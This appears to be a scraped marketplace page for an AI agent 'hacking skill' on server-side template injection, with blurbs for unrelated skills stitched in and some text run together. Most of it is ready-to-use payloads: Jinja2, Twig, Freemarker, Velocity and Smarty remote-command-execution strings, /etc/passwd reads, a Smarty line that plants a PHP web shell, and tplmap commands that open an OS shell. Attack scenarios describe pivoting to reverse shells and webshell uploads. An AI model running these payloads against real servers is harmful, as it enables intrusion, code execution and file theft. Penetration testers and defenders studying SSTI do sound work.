From meta
Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template engine (Jinja2, Twig, Freemarker, Pebble, Velocity, Smarty, Mako) and evaluated, enabling remote code execution. Detect via math expressions `{{7*7}}` returning `49`, or `${7*7}`, `<%= 7*7 %>`. Leads to full RCE via template sandbox escape, Python `__class__.__mro__` traversal, and Java reflection chains. Tools: tplmap, Burp Suite.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using tem...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using templates as string formatting mechanisms fed with untrusted input rather than rendering only trusted template files.
{{7*7}} returns 49 (Jinja2, Twig); ${7*7} returns 49 (Freemarker, Velocity); <%= 7*7 %> returns 49 (ERB){{7*7}} → 49 (Jinja2/Twig)${7*7} → 49 (Freemarker/Velocity/Mako)#{7*7} → 49 (Ruby ERB variant)<%= 7*7 %> → 49 (ERB, EJS)# Detection probes
TARGET/page?name={{7*7}} # Jinja2, Twig
TARGET/page?name=${7*7} # Freemarker, Velocity
TARGET/page?name=<%= 7*7 %> # ERB
TARGET/page?name=#{7*7} # Ruby
TARGET/page?name={{7*'7'}} # Twig (returns 7777777, Jinja2 returns 49)
# Jinja2 (Python) — RCE via __mro__ traversal
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Jinja2 — config object read
{{config}}
{{config.items()}}
# Jinja2 — file read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Jinja2 — RCE alternative
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
# Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker (Java) — RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
# Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# tplmap automated detection and exploitation
tplmap -u "TARGET/page?name=*"
tplmap -u "TARGET/page?name=*" --os-shell
tplmap -u "TARGET/page" --data "name=*" --os-cmd "id"
{{ is filtered, try alternate delimiters: ${, #{, <%= , {%{{'os'|attr('popen')('id')|attr('read')()}}|attr() filter in Jinja2 to access attributes without dot notationScenario 1 — Jinja2 RCE via Name Parameter
Setup: Flask application renders Hello, {{ name }}! where name is a URL parameter.
Trigger: TARGET/greet?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Impact: OS command output returned in response; pivot to reverse shell.
Scenario 2 — Freemarker SSTI in Java CMS
Setup: CMS allows administrators to customize notification email templates with user-supplied variables.
Trigger: Insert ${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} into template subject.
Impact: File contents returned when template is rendered/previewed; full server file read.
Scenario 3 — Twig SSTI in PHP Application
Setup: Error page template incorporates URL parameter for display.
Trigger: TARGET/error?msg={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
Impact: RCE as web server user; escalate to webshell upload.
7*7 appearing in content for unrelated reasons){{}}, Vue {{}}) — execution in browser, not server49 in an error message that happens to contain that stringallowProtoProperties: false) for user-facing customization[[cmd-injection]] and SSTI both achieve arbitrary OS command execution via injection into an interpreter — SSTI routes through a template sandbox escape while cmd-injection hits the shell directly. The detection methodology (inject an expression, observe evaluation) mirrors [[xss-reflected]] canary probing but the consequence is server-side rather than client-side. SSTI is often found in the same parameters that also carry [[xss-reflected]] payloads — a parameter that reflects {{7*7}} as 49 has SSTI; one that reflects <script> unencoded has XSS.